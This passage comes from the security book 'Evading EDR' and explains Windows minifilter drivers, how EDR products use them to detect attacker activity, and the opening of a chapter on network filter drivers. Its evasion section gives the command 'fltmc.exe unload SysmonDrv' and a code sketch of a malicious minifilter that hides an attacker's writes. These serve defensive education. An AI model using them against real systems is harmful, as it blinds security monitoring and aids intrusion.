FLT_POST_ OPERATION_CALLBACK structure. While these functions’ definitions aren’t too dissimilar, their capabilities and limitations vary substantially. As with callbacks in other types of drivers, pre-operation callback functions allow the developer to inspect an operation on its way to its des- tination (the target filesystem, in the case of a minifilter). These callback functions receive a pointer to the callback data for the operation and some opaque pointers for the objects related to the current I/O request, and they return an FLT_PREOP_CALLBACK_STATUS return code. In code, this would look like what is shown in Listing 6-4. PFLT_PRE_OPERATION_CALLBACK PfltPreOperationCallback; FLT_PREOP_CALLBACK_STATUS PfltPreOperationCallback( [in, out] PFLT_CALLBACK_DATA Data, [in] PCFLT_RELATED_OBJECTS FltObjects, [out] PVOID *CompletionContext ) {...} Listing 6-4: Registering a pre-operation callback The first parameter, Data, is the most complex of the three and contains all the major information related to the request that the minifilter is pro- cessing. The FLT_CALLBACK_DATA structure is used by both the filter manager and the minifilter to process I/O operations and contains a ton of useful data for any EDR agent monitoring filesystem operations. Some of the important members of this structure include: Flags A bitmask that describes the I/O operation. These flags may come preset from the filter manager, though the minifilter may set additional flags in some circumstances. When the filter manager initial- izes the data structure, it sets a flag to indicate what type of I/O opera- tion it represents: either fast I/O, filter, or IRP operations. The filter manager may also set flags indicating whether a minifilter generated or reissued the operation, whether it came from the non-paged pool, and whether the operation completed. Thread A pointer to the thread that initiated the I/O request. This is useful for identifying the application performing the operation. Iopb The I/O parameter block that contains information about IRP- based operations (for example, IRP_BUFFERED_IO, which indicates that it is a buffered I/O operation); the major function code; special flags related to the operation (for example, SL_CASE_SENSITIVE, which informs drivers in the stack that filename comparisons should be case sensitive); a pointer to the file object that is the target of the operation; and an FLT_PARAMETERS structure containing the parameters unique to the specific I/O operation specified by the major or minor function code member of the structure. Evading EDR (Early Access) © 2023 by Matt Hand 112   Chapter 6 IoStatus A structure that contains the completion status of the I/O operation set by the filter manager. TagData A pointer to an FLT_TAG_DATA_BUFFER structure containing infor- mation about reparse points, such as in the case of NTFS hard links or junctions. RequestorMode A value indicating whether the request came from user mode or kernel mode. This structure contains much of the information that an EDR agent needs to track file operations on the system. The second parameter passed to the pre-operation callback, a pointer to an FLT_RELATED_OBJECTS struc- ture, provides supplemental information. This structure contains opaque pointers to the object associated with the operation, including the vol- ume, minifilter instance, and file object (if present). The last parameter, CompletionContext, contains an optional context pointer that will be passed to the correlated post-operation callback if the minifilter returns FLT_PREOP _SUCCESS_WITH_CALLBACK or FLT_PREOP_SYNCHRONIZE. On completion of the routine, the minifilter must return an FLT_PREOP _CALLBACK_STATUS value. Pre-operation callbacks may return one of seven sup- ported values: FLT_PREOP_SUCCESS_WITH_CALLBACK (0) Return the I/O operation to the filter manager for processing and instruct it to call the minifilter’s post-operation callback during completion. FLT_PREOP_SUCCESS_NO_CALLBACK (1) Return the I/O operation to the filter manager for processing and instruct it not to call the minifilter’s post-operation callback during completion. FLT_PREOP_PENDING (2) Pend the I/O operation and do not process it further until the minifilter calls fltmgr!FltCompletePendedPreOperation(). FLT_PREOP_DISALLOW_FASTIO (3) Block the fast I/O path in the operation. This code instructs the filter manager not to pass the operation to any other minifilters below the current one in the stack and to only call the post-operation callbacks of those drivers at higher altitudes. FLT_PREOP_COMPLETE (4) Instruct the filter manager not to send the request to minifilters below the current driver in the stack and to only call the post-operation call- backs of those minifilters above it in the driver stack. Evading EDR (Early Access) © 2023 by Matt Hand Filesystem Minifilter Drivers   113 FLT_PREOP_SYNCHRONIZE (5) Pass the request back to the filter manager but don’t complete it. This code ensures that the minifilter’s post-operation callback is called at IRQL ≤ APC_LEVEL in the context of the original thread. FLT_PREOP_DISALLOW_FSFILTER_IO (6) Disallow a fast QueryOpen operation and force the operation down the slower path, causing the I/O manager to process the request using an open, query, or close operation on the file. The filter manager invokes the pre-operation callbacks for all minifilters that have registered functions for the I/O operation being processed before passing their requests to the filesystem, beginning with the highest altitude. Defining Post-operation Callbacks After the filesystem performs the operations defined in every minifilter’s pre-operation callbacks, control is passed up the filter stack to the filter manager. The filter manager then invokes the post-operation callbacks of all minifilters for the request type, beginning with the lowest altitude. These post-operation callbacks have a similar definition to the pre-operation routines, as shown in Listing 6-5. PFLT_POST_OPERATION_CALLBACK PfltPostOperationCallback; FLT_POSTOP_CALLBACK_STATUS PfltPostOperationCallback( [in, out] PFLT_CALLBACK_DATA Data, [in] PCFLT_RELATED_OBJECTS FltObjects, [in, optional] PVOID CompletionContext, [in] FLT_POST_OPERATION_FLAGS Flags ) {...} Listing 6-5: Post-operation callback routine definitions Two notable differences here are the addition of the Flags parameter and the different return type. The only documented flag that a minifilter can pass is FLTFL_POST_OPERATION_DRAINING, which indicates that the minifilter is in the process of unloading. Additionally, post-operation callbacks can return different statuses. If the callback returns FLT_POSTOP_FINISHED _PROCESSING (0), the minifilter has completed its post-operation callback routine and is passing control back to the filter manager to continue processing the I/O request. If it returns FLT_POSTOP_MORE_PROCESSING_REQUIRED (1), the minifilter has posted the IRP-based I/O operation to a work queue and halted completion of the request until the work item completes, and it calls fltmgr!FltCompletePe ndedPostOperation(). Lastly, if it returns FLT_POSTOP _DISALLOW_FSFILTER_IO (2), the minifilter is disallowing a fast QueryOpen operation and forcing the operation down the slower path. This is the same as FLT_PREOP_DISALLOW_FSFILTER_IO. Post-operation callbacks have some notable limitations that reduce their viability for security monitoring. The first is that they’re invoked in Evading EDR (Early Access) © 2023 by Matt Hand 114   Chapter 6 an arbitrary thread unless the pre-operation callback passes the FLT_PREOP_ SYNCHRONIZE flag, preventing the system from attributing the operation to the requesting application. Next is that post-operation callbacks are invoked at IRQL ≤ DISPATCH_LEVEL. This means that certain operations are restricted, including accessing most synchronization primitives (for example, mutexes), calling kernel APIs that require an IRQL ≤ DISPATCH_LEVEL, and accessing paged memory. One workaround to these limitations involves delaying the execution of the post-operation callback via the use of fltmgr!Fl tDoCompletionProcessingWhenSafe(), but this solution has its own challenges. The array of these FLT_OPERATION_REGISTRATION structures passed in the OperationRegistration member of FLT_REGISTRATION may look like Listing 6-6. const FLT_OPERATION_REGISTRATION Callbacks[] = { {IRP_MJ_CREATE, 0, MyPreCreate, MyPostCreate}, {IRP_MJ_READ, 0, MyPreRead, NULL}, {IRP_MJ_WRITE, 0, MyPreWrite, NULL}, {IRP_MJ_OPERATION_END} }; Listing 6-6: An array of operation registration callback structures This array registers pre- and post-operation callbacks for IRP_MJ_CREATE and only pre-operation callbacks for IRP_MJ_READ and IRP_MJ_WRITE. No flags are passed in for any of the target operations. Also note that the final ele- ment in the array is IRP_MJ_OPERATION_END. Microsoft requires this value to be present at the end of the array, and it serves no functional purpose in the context of monitoring. Defining Optional Callbacks The last section in the FLT_REGISTRATION structure contains the optional call- backs. The first three callbacks, FilterUnloadCallback, InstanceSetupCallback, and InstanceQueryTeardownCallback, may all technically be null, but this will impose some restrictions on the minifilter and system behavior. For example, the system won’t be able to unload the minifilter or attach to new filesystem volumes. The rest of the callbacks in this section of the structure relate to various functionality provided by the minifilter. These include things such as the interception of filename requests (GenerateFileNameCallback) and filename normalization (NormalizeNameComponentCallback). In general, only the first three semi-optional callbacks are registered, and the rest are rarely used. Activating the minifilter After all callback routines have been set, a pointer to the created FLT_REGISTRATION structure is passed as the second parameter to fltmgr! FltRegisterFilter(). Upon completion of this function, an opaque filter pointer (PFLT_FILTER) is returned to the caller in the RetFilter parameter. This pointer uniquely identifies the minifilter and remains static as long as the driver is loaded on the system. This pointer is typically preserved as a global variable. Evading EDR (Early Access) © 2023 by Matt Hand Filesystem Minifilter Drivers   115 When the minifilter is ready to start processing events, it passes the PFLT_FILTER pointer to fltmgr!FltStartFilter(). This notifies the filter man- ager that the driver is ready to attach to filesystem volumes and start filtering I/O requests. After this function returns, the minifilter will be considered active and sit inline of all relevant filesystem operations. The callbacks registered in the FLT_REGISTRATION structure will be invoked for their associated major functions. Whenever the minifilter is ready to unload itself, it passes the PFLT_FILTER pointer to fltmgr!FltUnregisterFilter() to remove any contexts that the minifilter has set on files, volumes, and other components and calls the registered InstanceTeardownStartCallback and InstanceTeardownCompleteCallback functions. Managing a Minifilter Compared to working with other drivers, the process of installing, load- ing, and unloading a minifilter requires special consideration. This is because minifilters have specific requirements related to the setting of registry values. To make the installation process easier, Microsoft recom- mends installing minifilters through a setup information (INF) file. The format of these INF files is beyond the scope of this book, but there are some interesting details relevant to how minifilters work that are worth mentioning. The ClassGuid entry in the Version section of the INF file is a GUID that corresponds to the desired load-order group (for example, FSFilter Activity Monitor). In the AddRegistry section of the file, which specifies the registry keys to be created, you’ll find information about the minifilter’s altitude. This section may include multiple similar entries to describe where the sys- tem should load various instances of the minifilter. The altitude can be set to the name of a variable (for example, %MyAltitude%) defined in the Strings section of the INF file. Lastly, the ServiceType entry under the ServiceInstall section is always set to SERVICE_FILE_SYSTEM_DRIVER (2). Executing the INF installs the driver, copying files to their specified locations and setting up the required registry keys. Listing 6-7 shows an example of what this looks like in the registry keys for WdFilter, Microsoft Defender’s minifilter driver. PS > Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WdFilter\" | Select * -Exclude PS* | fl DependOnService : {FltMgr} Description : @%ProgramFiles%\Windows Defender\MpAsDesc.dll,-340 DisplayName : @%ProgramFiles%\Windows Defender\MpAsDesc.dll,-330 ErrorControl : 1 Group : FSFilter Anti-Virus ImagePath : system32\drivers\wd\WdFilter.sys Start : 0 SupportedFeatures : 7 Type : 2 Evading EDR (Early Access) © 2023 by Matt Hand 116   Chapter 6 PS > Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WdFilter\Instances\ WdFilter Instance" | Select * -Exclude PS* | fl Altitude : 328010 Flags : 0 Listing 6-7: Viewing WdFilter’s altitude with PowerShell The Start key dictates when the minifilter will be loaded. The service can be started and stopped using the Service Control Manager APIs, as well as through a client such as sc.exe or the Services snap-in. In addition, we can manage minifilters with the filter manager library, FltLib, which is leveraged by the fltmc.exe utility included by default on Windows. This setup also includes setting the altitude of the minifilter, which for WdFilter is 328010. Detecting Adversary Tradecraft with Minifilters Now that you understand the inner workings of minifilters, let’s explore how they contribute to the detection of attacks on a system. As discussed in “Writing a Minifilter” on page XX, a minifilter can register pre- or post- operation callbacks for activities that target any filesystem, including NTFS, named pipes, and mailslots. This provides an EDR with an extremely pow- erful sensor for detecting adversary activity on the host. File Detections If an adversary interacts with the filesystem, such as by creating new files or modifying the contents of existing files, the minifilter has an opportunity to detect the behavior. Modern attacks have tended to avoid dropping arti- facts directly onto the host filesystem in this way, embracing the “disk is lava” mentality, but many hacking tools continue to interact with files due to limitations of the APIs being leveraged. For example, consider dbghelp!MiniDumpWriteDump(), a function used to create process memory dumps. This API requires that the caller pass in a handle to a file for the dump to be written to. The attacker must work with files if they want to use this API, so any minifilter that processes IRP_MJ_CREATE or IRP_MJ_WRITE I/O operations can indirectly detect those memory-dumping operations. Additionally, the attacker has no control over the format of the data being written to the file, allowing a minifilter to coordinate with a scanner to detect a memory-dump file without using function hooking. An attacker might try to work around this by opening a handle to an existing file and overwriting its content with the dump of the target process’s memory, but a minifilter monitoring IRP_MJ_CREATE could still detect this activity, as both the creation of a new file and the opening of a handle to an existing file would trigger it. Some defenders use these concepts to implement filesystem canaries. These are files created in key locations that users should seldom, if ever, interact with. If an application other than a backup agent or the EDR Evading EDR (Early Access) © 2023 by Matt Hand Filesystem Minifilter Drivers   117 requests a handle to a canary file, the minifilter can take immediate action, including crashing the system. Filesystem canaries provide strong (though, at times, brutal) anti-ransomware control, as ransomware tends to indiscriminately encrypt files on the host. By placing a canary file in a directory nested deep in the filesystem, hidden from the user but still in one of the paths typically targeted by ransomware, an EDR can limit the damage to the files that the ransomware encountered before reaching the canary. Named Pipe Detections Another key piece of adversary tradecraft that minifilters can detect highly effectively is the use of named pipes. Many command-and-control agents, like Cobalt Strike’s Beacon, make use of named pipes for tasking, I/O, and linking. Other offensive techniques, such as those that use token imper- sonation for privilege escalation, revolve around the creation of a named pipe. In both cases, a minifilter monitoring IRP_MJ_CREATE_NAMED_PIPE requests would be able to detect the attacker’s behavior, in much the same way as those that detect file creation via IRP_MJ_CREATE. Minifilters commonly look for the creation of anomalously named pipes, or those originating from atypical processes. This is useful because many tools used by adversaries rely on the use of named pipes, so an attacker who wants to blend in should pick pipe and host process names that are typical in the environment. Thankfully for attackers and defenders alike, Windows makes enumerating existing named pipes easy, and we can straightforwardly identify many of the common process-to-pipe relationships. One of the most well-known named pipes in the realm of security is mojo. When a Chromium process spawns, it creates several named pipes with the format mojo.PID.TID .VALUE for use by an IPC abstraction library called Mojo. This named pipe became popular after its inclusion in a well-known repository for document- ing Cobalt Strike’s Malleable profile options. There are a few problems with using this specific named pipe that a minifilter can detect. The main one is related to the structured format- ting used for the name of the pipe. Because Cobalt Strike’s pipe name is a static attribute tied to the instance of the Malleable profile, it is immutable at runtime. This means that an adversary would need to accurately predict the process and thread IDs of their Beacon to ensure the attributes of their process match those of the pipe name format used by mojo. Remember that minifilters with pre-operation callbacks for monitoring IRP_MJ_CREATE_NAMED _PIPE requests are guaranteed to be invoked in the context of the calling thread. This means that when a Beacon process creates the mojo named pipe, the minifilter can check that its current context matches the informa- tion in the pipe name. Pseudocode to demonstrate this would look like that shown in Listing 6-8. DetectMojoMismatch(string mojoPipeName) { pid = GetCurrentProcessId(); tid = GetCurrentThreadId(); Evading EDR (Early Access) © 2023 by Matt Hand 118   Chapter 6 1 if (!mojoPipeName.beginsWith("mojo. " + pid + "." + tid + ".")) { // Bad Mojo pipe found } } Listing 6-8: Detecting anomalous Mojo named pipes Since the format used in Mojo named pipes is known, we can simply concatenate the PID and TID 1 of the thread creating the named pipe and ensure that it matches what is expected. If not, we can take some defensive action. Not every command inside Beacon will create a named pipe. There are certain functions that will create an anonymous pipe (as in, a pipe without a name), such as execute-assembly. These types of pipes have limited opera- tional viability, as their name can’t be referenced and code can interact with them through an open handle only. What they lose in functionality, however, they gain in evasiveness. Riccardo Ancarani’s blog post “Detecting Cobalt Strike Default Modules via Named Pipe Analysis,” details the OPSEC considerations related to Beacon’s usage of anonymous pipes. In his research, he found that while Windows components rarely used anonymous pipes, their cre- ation could be profiled, and their creators could be used as viable spawnto binaries. These included ngen.exe, wsmprovhost.exe, and firefox.exe, among oth- ers. By setting their sacrificial processes to one of these executables, attack- ers could ensure that any actions resulting in the creation of anonymous pipes would likely remain undetected. Bear in mind, however, that activities making use of named pipes would still be vulnerable to detection, so operators would need to restrict their tradecraft to activities that create anonymous pipes only. Evading Minifilters Most strategies for evading an EDR’s minifilters rely on one of three tech- niques: unloading, prevention, or interference. Let’s walk through exam- ples of each to demonstrate how we can use them to our advantage. Unloading The first technique is to completely unload the minifilter. While you’ll need administrator access to do this (specifically, the SeLoadDriverPrivilege token privilege), it’s the most surefire way to evade the minifilter. After all, if the driver is no longer on the stack, it can’t capture events. Unloading the minifilter can be as simple as calling fltmc.exe unload, but if the vendor has put a lot of effort into hiding the presence of their mini- filter, it might require complex custom tooling. To explore this idea further, let’s target Sysmon, whose minifilter, SysmonDrv, is configured in the regis- try, as shown in Listing 6-9. Evading EDR (Early Access) © 2023 by Matt Hand Filesystem Minifilter Drivers   119 PS > Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SysmonDrv" | Select * -Exclude PS* | fl Type : 1 Start : 0 ErrorControl : 1 ImagePath : SysmonDrv.sys DisplayName : SysmonDrv Description : System Monitor driver PS > Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SysmonDrv\Instances\ Sysmon Instance\" | Select * -Exclude PS* | fl Altitude : 385201 Flags : 0 Listing 6-9: Using PowerShell to view SysmonDrv’s configuration By default, SysmonDrv has the altitude 385201, and we can easily unload it via a call to fltmc.exe unload SysmonDrv, assuming the caller has the required privilege. Doing so would create a FilterManager event ID of 1, which indicates that a filesystem filter was unloaded, and a Sysmon event ID of 255, which indicates a driver communication failure. However, Sysmon will no longer receive events. To complicate this process for attackers, the minifilter sometimes uses a random service name to conceal its presence on the system. In the case of Sysmon, an administrator can implement this approach during installation by passing the -d flag to the installer and specifying a new name. This pre- vents an attacker from using the built-in fltmc.exe utility unless they can also identify the service name. However, an attacker can abuse another feature of production mini- filters to locate the driver and unload it: their altitudes. Because Microsoft reserves specific altitudes for certain vendors, an attacker can learn these values and then simply walk the registry or use fltlib!FilterFindNext() to locate any driver with the altitude in question. We can’t use fltmc.exe to unload minifilters based on an altitude, but we can either resolve the driver’s name in the registry or pass the minifilter’s name to fltlib!FilterUnload() for tooling that makes use of fltlib!FilterFindNext(). This is how the Shhmon tool, which hunts and unloads SysmonDrv, works under the hood. Defenders could further thwart attackers by modifying the minifilter’s altitude. This isn’t recommended in production applications, however, because another application might already be using the chosen value. EDR agents sometimes operate across millions of devices, raising the odds of an altitude collision. To mitigate this risk, a vendor might compile a list of active minifilter allocations from Microsoft and choose one not already in use, although this strategy isn’t bulletproof. In the case of Sysmon, defenders could either patch the installer to set the altitude value in the registry to a different value upon installation or manually change the altitude after installation by directly modifying the registry value. Since Windows doesn’t place any technical controls on Evading EDR (Early Access) © 2023 by Matt Hand 120   Chapter 6 altitudes, the engineer could move SysmonDrv to any altitude they wish. Bear in mind, however, that the altitude affects the minifilter’s position in the stack, so choosing too low a value could have unintended implications for the efficacy of the tool. Even with all these obfuscation methods applied an attacker could still unload a minifilter. Starting in Windows 10, both the vendor and Microsoft must sign a production driver before it can be loaded onto the system, and because these signatures are meant to identify the driv- ers, they include information about the vendor that signed them. This information is often enough to tip an adversary off to the presence of the target minifilter. In practice, the attacker could walk the registry or use the fltlib!FilterFindNext() approach to enumerate minifilters, extract the path to the driver on disk, and parse the digital signatures of all enumerated files until they’ve identified a file signed by an EDR. At that point, they can unload the minifilter using one of the previously covered methods. As you’ve just learned, there are no particularly great ways to hide a minifilter on the system. This doesn’t mean, however, that these obfusca- tions aren’t worthwhile. An attacker might lack the tooling or knowledge to counter the obfuscations, providing time for the EDR’s sensors to detect their activity without interference. Prevention To prevent filesystem operations from ever passing through an EDR’s minifilter, attackers can register their own minifilter and use it to force the completion of I/O operations. As an example, let’s register a malicious pre- operation callback for IRP_MJ_WRITE requests, as shown in Listing 6-10. PFLT_PRE_OPERATION_CALLBACK EvilPreWriteCallback; FLT_PREOP_CALLBACK_STATUS EvilPreWriteCallback( [in, out] PFLT_CALLBACK_DATA Data, [in] PCFLT_RELATED_OBJECTS FltObjects, [out] PVOID *CompletionContext ) { <...> } Listing 6-10: Registering a malicious pre-operation callback routine When the filter manager invokes this callback routine, it must return an FLT_PREOP_CALLBACK_STATUS value. One of the possible values, FLT_PREOP _COMPLETE, tells the filter manager that the current minifilter is in the pro- cess of completing the request, so the request shouldn’t be passed to any minifilters below the current altitude. If a minifilter returns this value, it must set the NTSTATUS value in the Status member of the I/O status block to the operation’s final status. Antivirus engines whose minifilters communi- cate with user-mode scanning engines commonly use this functionality to Evading EDR (Early Access) © 2023 by Matt Hand Filesystem Minifilter Drivers   121 determine whether malicious content is being written to a file. If the scan- ner indicates to the minifilter that the content is malicious, the minifilter completes the request and returns a failure status, such as STATUS_VIRUS _INFECTED, to the caller. But attackers can abuse this feature of minifilters to prevent the secu- rity agent from ever intercepting their filesystem operations. Using the ear- lier callback we registered, this would look something like what’s shown in Listing 6-11. FLT_PREOP_CALLBACK_STATUS EvilPreWriteCallback( [in, out] PFLT_CALLBACK_DATA Data, [in] PCFLT_RELATED_OBJECTS FltObjects, [out] PVOID *CompletionContext ) { --snip-- if (IsThisMyEvilProcess(PsGetCurrentProcessId()) { --snip-- 1 Data->IoStatus.Status = STATUS_SUCCESS; return FLT_PREOP_COMPLETE } --snip-- } Listing 6-11: Intercepting write operations and forcing their completion The attacker first inserts their malicious minifilter at an altitude higher than the minifilter belonging to the EDR. Inside the malicious minifilter’s pre-operation callback would exist logic to complete the I/O requests com- ing from the adversary’s processes in user mode 1, preventing them from being passed down the stack to the EDR. Interference A final evasion technique, interference, is built around the fact that a mini- filter can alter members of the FLT_CALLBACK_DATA structure passed to its call- backs on a request. An attacker can modify any members of this structure except the RequestorMode and Thread members. This includes the file pointer in the FLT_IO_PARAMETER_BLOCK structure’s TargetFileObject member. The only requirement of the malicious minifilter is that it calls fltmgr!FltSetCallback DataDirty(), which indicates that the callback data structure has been mod- ified when it is passing the request to minifilters lower in the stack. An adversary can abuse this behavior to pass bogus data to the mini- filter associated with an EDR by inserting itself anywhere above it in the stack, modifying the data tied to the request and passing control back to the filter manager. A minifilter that receives the modified request may evaluate whether FLTFL_CALLBACK_DATA_DIRTY, which is set by fltmgr!FltSet CallbackDataDirty(), is present and act accordingly, but the data will still be modified. Evading EDR (Early Access) © 2023 by Matt Hand 122   Chapter 6 Conclusion Minifilters are the de facto standard for monitoring filesystem activity on Windows, whether it be for NTFS, named pipes, or even mailslots. Their implementation is somewhat more complex than the drivers discussed ear- lier in this book, but the way they work is very similar; they sit inline of some system operation and receive data about the activity. Attackers can evade minifilters by abusing some logical issue in the sensor or even unloading the driver entirely, but most adversaries have adapted their tradecraft to drastically limit creating new artifacts on disk to reduce the chances of a minifilter picking up their activity. Evading EDR (Early Access) © 2023 by Matt Hand Sometimes an EDR must implement its own sensor to capture the telemetry data generated by certain system components. Filesystem minifilters are one example of this. In Windows, the network stack is no different. A host-based security agent might wish to capture network telemetry for many reasons. Network traffic is the most common way for an attacker to gain initial access to a system (for example, when a user visits a malicious website). It’s also how they tend to perform lateral movement to jump from one host to another. If an endpoint security product wishes to capture and perform inspection on network packets, it’ll most likely implement some type of network filter driver. This chapter covers one of the most common driver frameworks used to capture network telemetry: Windows Filtering Platform (WFP). The Windows network stack and driver ecosystem can be a little overwhelm- ing for newcomers, so to reduce the likelihood of headaches, we’ll briefly introduce core concepts and then focus only on the elements relevant to an EDR’s sensor. 7 N E T WOR K F ILT E R DR I V E R S Evading EDR (Early Access) © 2023 by Matt Hand 124   Chapter 7 Network-Based vs. Endpoint-Based Monitoring You might assume that the best way to detect malicious traffic is to use a network-based security appliance, but this isn’t always the case. The effi- cacy of these network appliances depends on their position in the network. For example, a network intrusion detection system (NIDS) would need to sit between host A and host B in order to detect lateral movement between the two. Imagine that the adversary must cross core network boundaries (for example, to move from the VPN subnet into the data-center subnet). In those situations, the security engineers can strategically deploy the appliance at a logical choke point through which all that traffic must flow. This boundary- oriented architecture would look similar to the one shown in Figure 7-1. Host 1 Host 2 Host 3 Host A Host B Host C Net 2 Net 1 NIDS Figure 7-1: A NIDS between two networks But what about intra-subnet lateral movement, such as movement from workstation to workstation? It wouldn’t be cost-effective to deploy a network- monitoring appliance between every node on the local network, but secu- rity organizations still need that telemetry to detect adversarial activities in their networks. This is where an endpoint-based traffic-monitoring sensor comes into play. By deploying a monitoring sensor on every client, a security team can solve the problem of where in the network to insert their appliance. After all, if the sensor is monitoring traffic on a client, as shown in Figure 7-2, it effectively has a man-in-the-middle relationship between the client and all other systems the client may communicate with. Host 1 Net 1 Endpoint monitor Host 2 Endpoint monitor Figure 7-2: Endpoint network monitoring Evading EDR (Early Access) © 2023 by Matt Hand Network Filter Drivers   125 Using endpoint-based monitoring offers another valuable advantage over network-based solutions: context. Because the agent running on the endpoint can collect additional host-based information, it can paint a more complete picture of how and why the network traffic was created. For example, it could determine that a child process of outlook.exe with a certain PID is communicating with a content distribution network end- point once every 60 seconds; this might be command-and-control beacon- ing from a process tied to initial access. The host-based sensor can get data related to the originating process, user context, and activities that occurred before the connection happened. By contrast, an appliance deployed on the network would be able to see only the metrics about the connection, such as its source and destina- tion, packet frequency, and protocol. While this can provide valuable data to responders, it misses key pieces of information that would aid their investigation. Legacy Network Driver Interface Specification Network Filters There are many types of network drivers, most of which are backed by the Network Driver Interface Specification (NDIS). NDIS is a library that abstracts a device’s network hardware. It also defines a standard interface between layered network drivers (those operating at different network layers and levels of the operating system) and maintains state information. NDIS supports four types of drivers: Miniport Manages a network interface card, such as by sending and receiving data. This is the lowest level of NDIS drivers. Protocol Implements a transport protocol stack, such as TCP/IP. This is the highest level of NDIS drivers. Filter Sits between miniport and protocol drivers to monitor and modify the interactions between the two subtypes. Intermediate Sits between miniport and protocol drivers to expose both drivers’ entry points for communicating requests. These drivers expose a virtual adapter to which the protocol driver sends its packets. The intermediate driver then ships these packets to the appropriate miniport. After the miniport completes its operation, the intermediate driver passes the information back to the protocol driver. These drivers are commonly used for load-balancing traffic across more than one net- work interface card. The interactions of these drivers with NDIS can be seen in the (grossly oversimplified) diagram in Figure 7-3. For the purposes of security monitoring, filter drivers work best, as they can catch network traffic at the lowest levels of the network stack, just before it is passed to the miniport and associated network interface card. However, these drivers pose some challenges, such as significant code Evading EDR (Early Access) © 2023 by Matt Hand 126   Chapter 7 complexity, limited support for the network and transport layers, and a dif- ficult installation process. But perhaps the biggest issue with filter drivers when it comes to secu- rity monitoring is their lack of context. While they can capture the traf- fic being processed, they aren’t aware of the caller context (the process that initiated the request) and lack the metadata needed to provide valu- able telemetry to the EDR agent. For this reason, EDRs nearly always use another framework: the Windows Filtering Platform (WFP). The Windows Filtering Platform WFP is a set of APIs and services for creating network-filtering applica- tions, and it includes both user-mode and kernel-mode components. It was designed to replace legacy filtering technologies, including the NDIS filters, starting in Windows Vista and Server 2008. While WFP has some downsides when it comes to network performance, it is generally consid- ered the best option for creating filter drivers. Even the Windows firewall itself is built on WFP. The platform offers numerous benefits. It allows EDRs to filter traffic related to specific applications, users, connections, network interface cards, and ports. It supports both IPv4 and IPv6, provides boot-time security until the base filtering engine has started, and lets drivers filter, modify, and reinject traffic. It can also process pre- and post-decryption IPsec packets and integrates hardware offloading, allowing filter drivers to use hardware for packet inspection. WFP’s implementation can be tricky to understand, as it has a complex architecture and uses unique names for its core components, which are distributed across both user mode and kernel mode. The WFP architecture looks something like what is shown in Figure 7-4. To make sense of all this, let’s follow part of a TCP stream coming from a client connected to a server on the internet. The client begins by calling a function such as WS2_32!send() or WS2_32!WSASend() to send data over a con- nected socket. These functions eventually pass the packet down to the net- work stack provided by tcpip.sys for IPv4 and tcpip6.sys for IPv6. As the packet traverses the network stack, it is passed to a shim associ- ated with the relevant layer of the stack, such as the stream layer. Shims are kernel components that have a few critical jobs. One of their first NDIS Protocol drivers Filter drivers Intermediate drivers Miniport drivers Client application Service provider interface NIC Figure 7-3: NDIS driver relationships Evading EDR (Early Access) © 2023 by Matt Hand Network Filter Drivers   127 responsibilities is to extract data and properties from the packet and pass them to the filter engine to start the process of applying filters. The Filter Engine The filter engine, sometimes called the generic filter engine to avoid confu- sion with the user-mode base filtering engine, performs filtering at the net- work and transport layers. It contains layers of its own, which are containers used to organize filters into sets. Each of these layers, defined as GUIDs under the hood, has a schema that says what types of filters may be added to it. Layers may be further divided into sublayers that manage filtering conflicts. (For example, imagine that the rules “open port 1028” and “block all ports greater than 1024” were configured on the same host.) All layers inherit default sublayers, and developers can add their own. Filter Arbitration You might be wondering how the filter engine knows the order in which to evaluate sublayers and filters. If rules were applied to traffic in a random order, this could cause huge problems. For example, say the first rule was a default-deny that dropped all traffic. To address this problem, both sublay- ers and filters can be assigned a priority value, called a weight, that dictates the order in which they should be processed by the filter manager. This ordering logic is called filter arbitration. During filter arbitration, filters evaluate the data parsed from the packet from highest to lowest priority to determine what to do with the packet. Each filter contains conditions and an action, just like common fire- wall rules (for example, “if the destination port is 4444, block the packet” or “if the application is edge.exe, allow the packet”). The basic actions a filter Client application tcpip.sys/tcpip6.sys Transport Stream ALE Network NIC TCP Stack Filter manager Callout drivers Callout Callout Callout Stream layer ALE layer Transport layer Network layer netio.sys Shim Shim Shim Shim Sublayer Filters Sublayer Filters Sublayer Filters Sublayer Filters Sublayer Filters Sublayer Filters Sublayer Filters Sublayer Filters Figure 7-4: The WFP architecture Evading EDR (Early Access) © 2023 by Matt Hand 128   Chapter 7 can return are Block and Permit, but three other supported actions pass packet details to callout drivers: FWP_ACTION_CALLOUT_TERMINATING, FWP_ACTION _CALLOUT_INSPECTION, and FWP_ACTION_CALLOUT_UNKNOWN. Callout Drivers Callout drivers are third-party drivers that extend WFP’s filtering function- ality beyond that of the base filters. These drivers provide advanced fea- tures such as deep-packet inspection, parental controls, and data logging. When an EDR vendor is interested in capturing network traffic, it typically deploys a callout driver to monitor the system. Like basic filters, callout drivers can select the types of traffic that they’re interested in. When the callout drivers associated with a particu- lar operation are invoked, they can suggest action be taken on the packet based on their unique internal processing logic. A callout driver can permit some traffic, block it, continue it (meaning pass it to other callout drivers), defer it, drop it, or do nothing. These actions are only suggestions, and the driver might override them during the filter arbitration process. When filter arbitration ends, the result is returned to the shim, which acts on the final filtering decision (for example, permitting the packet to leave the host). Implementing a WFP Callout Driver When an EDR product wants to intercept and process network traffic on a host, it most likely uses a WFP callout driver. These drivers must follow a somewhat complex workflow to set up their callout function, but the flow should make sense to you when you consider how packets traverse the net- work stack and filter manager. These drivers are also substantially easier to work with than their legacy NDIS counterparts, and Microsoft’s documenta- tion should be very helpful for EDR developers looking to add this capabil- ity to their sensor lineup. Opening a Filter Engine Session Like other types of drivers, WFP callout drivers begin their initialization inside their internal DriverEntry() function. One of the first things the callout driver will do, an activity unique to WFP, is open a session with the filter engine. To do this, the driver calls fltmgr!FwpmEngineOpen(), defined in Listing 7-1. DWORD FwpmEngineOpen0( [in, optional] const wchar_t *serverName, [in] UINT32 authnService, [in, optional] SEC_WINNT_AUTH_IDENTITY_W *authIdentity, [in, optional] const FWPM_SESSION0 *session, [out] HANDLE *engineHandle ); Listing 7-1: The fltmgr!FwpmEngineOpen() function definition Evading EDR (Early Access) © 2023 by Matt Hand Network Filter Drivers   129 The most notable argument passed to this function as input is authnService, which determines the authentication service to use. This can be either RPC_C_AUTHN_WINNT or RPC_C_AUTHN_DEFAULT, both of which essentially just tell the driver to use NTLM authentication. When this function com- pletes successfully, a handle to the filter engine is returned through the engineHandle parameter and typically 